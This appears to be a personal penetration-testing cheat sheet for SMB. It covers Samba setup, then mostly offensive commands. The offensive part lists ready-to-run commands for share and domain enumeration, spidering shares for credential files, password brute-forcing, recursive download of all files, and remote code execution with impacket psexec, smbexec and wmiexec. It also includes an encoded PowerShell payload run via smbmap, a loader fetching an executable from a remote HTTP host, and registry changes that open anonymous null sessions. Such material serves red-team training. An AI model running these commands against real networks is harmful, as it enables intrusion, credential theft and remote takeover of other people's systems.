N1NJ10

SMB

Resources

Cheat sheet

Commands

  • Technology

    • Install the SMB service and run it . 
      sudo apt install samba
whereis samba
samba -V
    • add SMB user 
      sudo useradd --no-create-home fady && sudo smbpasswd -a fady
    • Test Config file 
      testparm
    • Anonymous Share 
      sudo mkdir -p /srv/samba/Shareme
sudo chown nobody:nogroup /srv/samba/Shareme
sudo chmod 777 /srv/samba/Shareme
    • Add share 
      [sharing]
comment = This is bad share  
path = /home/ubuntu/smb_share 
read only = no 
writable = yes 
browseable = yes 
[guest ok = no]
[valid users = @fady]
[force user = fady]
    • Permissions 
      sudo setfacl -R -m "u:fady:rwx" /home/ubuntu/smb_share
sudo chmod o+x /home/ubuntu
    • systemctl 
      sudo systemctl restart smbd
sudo systemctl stop smbd
sudo systemctl status smbd

  • Offensive

    • Enumeration
      • Host Discovery
        • nbtscan 
          nbtscan 192.168.99.0/24
nbtscan -f ips.txt
        • nxc 
          nxc smb 192.168.99.0/24
        • Nmap 
          nmap -sV -p445 --script smb-protocols 192.168.8.166
nmap --script "safe or smb-enum-*" -p 445 192.168.8.166
nmap -sV --script-args=unsafe=1 --script smb-os-discovery 192.168.8.166 -p139,445
nmap -n -Pn -sV --script 'smb-vuln*' 192.168.8.166 -p445
          • Version
            • MSF 
              msf > use auxiliary/scanner/smb/smb_version
            • Nxc 
              nxc smb 192.168.8.166
            • ngrep 
              sudo ngrep -i -d eth0 's.?a.?m.?b.?a.*[[:digit:]]' & smbclient -L //192.168.8.166 -U "anonymous%anonymous" -d 100 > /dev/null 2>&1
    • Shares & AD Enumeration
      • Smbclient 
        smbclient -L 192.168.8.166 -N
smbclient -L 192.168.8.166 -U 'fady%321'
 
smbclient \\\\192.168.99.21\\sharing -U 'anonymous%anonymous'
      • smbmap 
        smbmap -u fmoheb -p Password123#f -H 192.168.99.21 --signing --admin -r
smbmap -u fmoheb -p Password123#f --host-file ips.txt --signing --admin -r
      • manspider 
        manspider 192.168.0.0/24 -f passw user admin account network login logon cred -d evilcorp -u bob -p Passw0rd
      • Nullinux 
        python3 nullinux.py -users -U 'redteamrecieps.com\fmoheb' -P 'Password123#f' 192.168.99.32
python3 nullinux.py -shares -U 'redteamrecieps.com\fmoheb' -P 'Password123#f' 192.168.99.32
      • Enum4linux 
        enum4linux -a -u "fady" -p "321" 192.168.8.166
      • Enum4linux-ng 
        enum4linux-ng -A -u 'fady' -p '321' 192.168.8.166
      • snaffler 
        .\Snaffler.exe -o C:\Users\helen\Desktop\log.txt -s -c DC01.inlanefreight.local
.\Snaffler.exe -s -o snaffer.log
.\loader.exe -path "http://192.168.99.22/exe/Snaffler.exe" -args " -s " # best of the best
      • Rpcclient 
        rpcclient -U "" -N 192.168.8.166
rpcclient -U "fady%321" 192.168.8.166
      • impacket-samrdump 
        impacket-samrdump -port 445 fady:'321'@192.168.8.166
impacket-samrdump -port 139 fady:'321'@192.168.8.166
      • impacket-rpcdump 
        impacket-rpcdump -port 135 fady:'321'@192.168.8.166
    • NetBIOS
      • nmblookup 
        nmblookup -A 192.168.8.166
    • Brute-Forcing
      • MSF 
        msf> use auxiliary/scanner/smb/smb_login
      • Hydra 
        hydra -L users -P pass.txt 192.168.8.166 smb
      • Nmap 
        nmap -p 445 --script=smb-brute --script-args userdb=users,passdb=pass.txt,smblockout=1 192.168.8.166
      • Nxc 
        nxc smb 192.168.8.166 -u users -p pass.txt --continue-on-success
    • Connecting
      • Smbclient 
        smbclient \\\\192.168.8.166\\sharing -U "anonymous%anonymous"

      smb: \> prompt off (Turn off interactive prompts) smb: \> recurse on (Enable recursion for mget) smb: \> mget * (Download all files)

      • smbget 
        smbget smb://192.168.8.166/sharing -U "anonymous%anonymous" --recursive
      • Mount 
        mount -t cifs '//192.168.8.166/sharing' ./smb -v -o user=fady,pass='321'
      • Netuse 
        net view \\10.10.x.x
 
net use T: \\10.10.x.x\SharedFolder Password123! /user:secybr.local\0xhav0c /savecred /p:no
    • RCE
      • impacket-smbexec 
        impacket-smbexec 'ubuntu:123@192.168.8.166' -share sharing
      • impacket-psexec 
        impacket-psexec 'fady:321@192.168.8.166'
      • impacket-wmiexec 
        impacket-wmiexec 'fady:321@192.168.8.166'
      • smbmap 
        smbmap -u fady -p 321 -H 192.168.8.166 -x 'powershell -e JABjAGwAaQ....'
    • Create an SMB share allowing null authentication
      • Linux
        • smbd 
          # Linux /etc/samba/smb.conf
[ global]
map to guest = bad user
server role = standalone server
usershare allow guests = yes
smb ports = 445
[smb]
comment = Samba
path = /srv/smb
guest ok = yes
read only = no
browsable = yes
force user = nobody
 
sudo service smbd restart
sudo chown -R nobody:root /srv/smb/
sudo chmod -R 777 /srv/smb/
        • impacket-smbserver 
          impacket-smbserver shareme ./smb/ -comment 'Fake Share' -smb2support
      • Windows
        • New-SmbShare 
          PS > mkdir C:\share
PS > icacls C:\share\ /T /grant Anonymous` logon:r
PS > icacls C:\share\ /T /grant Everyone:r
PS > New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
PS > REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f  # this will overwrite existing NullSessionPipes\
PS > REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
PS > REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
PS > REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
        • Invoke-BuildAnonymousSMBServer 
          Invoke-BuildAnonymousSMBServer -Path c:\Shareme -Mode Enable

  • Invoke-BuildAnonymousSMBServer : https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer

  • snaffler : https://github.com/SnaffCon/Snaffler

  • manspider : https://github.com/blacklanternsecurity/MANSPIDER

  • smbeagle : https://github.com/punk-security/SMBeagle

Field Notes & Theory

Graph View

Backlinks